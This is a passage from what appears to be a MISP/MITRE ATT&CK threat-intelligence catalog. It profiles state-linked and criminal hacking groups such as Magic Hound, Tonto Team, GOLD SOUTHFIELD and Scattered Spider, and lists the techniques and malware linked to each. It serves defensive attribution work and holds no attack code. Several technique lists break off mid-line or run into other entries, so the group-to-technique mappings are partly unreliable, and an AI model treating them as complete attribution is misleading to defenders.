- uses: *misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"*
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="QuietSieve - S0686" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="Gamaredon Group" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Pteranodon - S0147" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Internal Spearphishing - T1534" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6393. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0047">https://attack.mitre.org/groups/G0047</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/">https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/">https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-tilden">https://www.secureworks.com/research/threat-profiles/iron-tilden</a></td>
</tr>
</tbody>
</table>
Charming Kitten - G0058

[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](https://attack.mitre.org/groups/G0058) often tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group’s TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups’ activities. (Citation: ClearSky Charming Kitten Dec 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="Charming Kitten - G0058"

Charming Kitten - G0058 is also known as:

- Charming Kitten

View relationships graph

Charming Kitten - G0058 has relationships with:


Table 6394. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0058">https://attack.mitre.org/groups/G0058</a></td>
</tr>
</tbody>
</table>

Magic Hound - G0059

[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014. (Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Magic Hound - G0059"

Magic Hound - G0059 is also known as:

- Magic Hound
- TA453
- COBALT ILLUSION
Magic Hound - G0059 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="Net - S0039"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="IP Addresses - T1590.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Email Collection - T1114"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="Impacket - S0357"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="ipconfig - S0100"` with estimative-language:likelihood-probability="almost-certain"
probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Wi-Fi Discovery - T1016.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="CharmPower - S0674" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"


- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"


- uses: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-
• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="DownPaper - S0186" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Determine Physical Locations - T1591.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-
language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6395. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0059">https://attack.mitre.org/groups/G0059</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/">https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/">https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-illusion">https://www.secureworks.com/research/threat-profiles/cobalt-illusion</a></td>
</tr>
</tbody>
</table>

Stolen Pencil - G0086

[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)

The tag is: **misp-galaxy:mitre-intrusion-set="Stolen Pencil - G0086"**

Stolen Pencil - G0086 is also known as:

- Stolen Pencil

View relationships graph

Stolen Pencil - G0086 has relationships with:
Gorgon Group - G0078

[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)

The tag is: `misp-galaxy:mitre-intrusion-set="Gorgon Group - G0078"`

Gorgon Group - G0078 is also known as:

- Gorgon Group

View relationships graph

Gorgon Group - G0078 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-tool="Remcos - S0332"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with
estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6397. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0078">https://attack.mitre.org/groups/G0078</a></td>
</tr>
</tbody>
</table>

**Bouncing Golf - G0097**

[Bouncing Golf](https://attack.mitre.org/groups/G0097) is a cyberespionage campaign targeting Middle Eastern countries.(Citation: Trend Micro Bouncing Golf 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Bouncing Golf - G0097"*

Bouncing Golf - G0097 is also known as:

- Bouncing Golf

View relationships graph

Bouncing Golf - G0097 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with
EXOTIC LILY - G1011

[EXOTIC LILY](https://attack.mitre.org/groups/G1011) is a financially motivated group that has been closely linked with [Wizard Spider](https://attack.mitre.org/groups/G0102) and the deployment of ransomware including [Conti](https://attack.mitre.org/software/S0575) and [Diavol](https://attack.mitre.org/software/S0659). [EXOTIC LILY](https://attack.mitre.org/groups/G1011) may be acting as an initial access broker for other malicious actors, and has targeted a wide range of industries including IT, cybersecurity, and healthcare since at least September 2021. (Citation: Google EXOTIC LILY March 2022)

The tag is: *misip-galaxy:mitre-intrusion-set="EXOTIC LILY - G1011"

EXOTIC LILY - G1011 is also known as:

- EXOTIC LILY

View relationships graph

EXOTIC LILY - G1011 has relationships with:

- uses: *misip-galaxy:mitre-malware="Bumblebee - S1039" with estimative-language:likelihood-probability="almost-certain"
- uses: *misip-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misip-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misip-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misip-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-
Tonto Team - G0131

[Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bional 10 Years March 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="Tonto Team - G0131"`

Tonto Team - G0131 is also known as:

- Tonto Team
• Earth Akhlut
• BRONZE HUNTLEY
• CactusPete
• Karma Panda

View relationships graph

Tonto Team - G0131 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Bisonal - S0268" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
GOLD SOUTHFIELD - G0115

[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2018 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments. By early 2020, [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) started capitalizing on the new trend of stealing data and further extorting the victim to pay for their data to not get publicly leaked.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)(Citation: CrowdStrike Evolution of Pinchy Spider July 2021)

The tag is: misp-galaxy:mitre-intrusion-set="GOLD SOUTHFIELD - G0115"

GOLD SOUTHFIELD - G0115 is also known as:
• GOLD SOUTHFIELD
• Pinchy Spider

View relationships graph

GOLD SOUTHFIELD - G0115 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="ConnectWise - S0591" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="REvil - S0496" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

Table 6401. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0115">https://attack.mitre.org/groups/G0115</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/revil-the-gandcrab-connection">https://www.secureworks.com/blog/revil-the-gandcrab-connection</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/revil-sodinokibi-ransomware">https://www.secureworks.com/research/revil-sodinokibi-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-southfield">https://www.secureworks.com/research/threat-profiles/gold-southfield</a></td>
</tr>
</tbody>
</table>

Scattered Spider - G1015

[Scattered Spider](https://attack.mitre.org/groups/G1015) is a cybercriminal group that has been active since at least 2022 targeting customer relationship management and business-process
outsourcing (BPO) firms as well as telecommunications and technology companies. During campaigns [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques and attempted to bypass popular endpoint security tools.(Citation: CrowdStrike Scattered Spider Profile)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022)

The tag is: `misp-galaxy:mitre-intrusion-set="Scattered Spider - G1015"`

Scattered Spider - G1015 is also known as:

- Scattered Spider
- Roasted 0ktapus

View relationships graph

Scattered Spider - G1015 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598" with estimative-language:likelihood-probability="almost-certain"

Table 6402. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G1015">https://attack.mitre.org/groups/G1015</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/adversaries/scattered-spider/">https://www.crowdstrike.com/adversaries/scattered-spider/</a></td>
</tr>
</tbody>
</table>

**Operation Wocao - G0116**

[Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)
The tag is: misp-galaxy:mitre-intrusion-set="Operation Wocao - G0116"

Operation Wocao - G0116 is also known as:

- Operation Wocao

Table 6403. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0116">https://attack.mitre.org/groups/G0116</a></td>
</tr>
<tr>
<td><a href="https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf">https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf</a></td>
</tr>
</tbody>
</table>

Fox Kitten - G0117

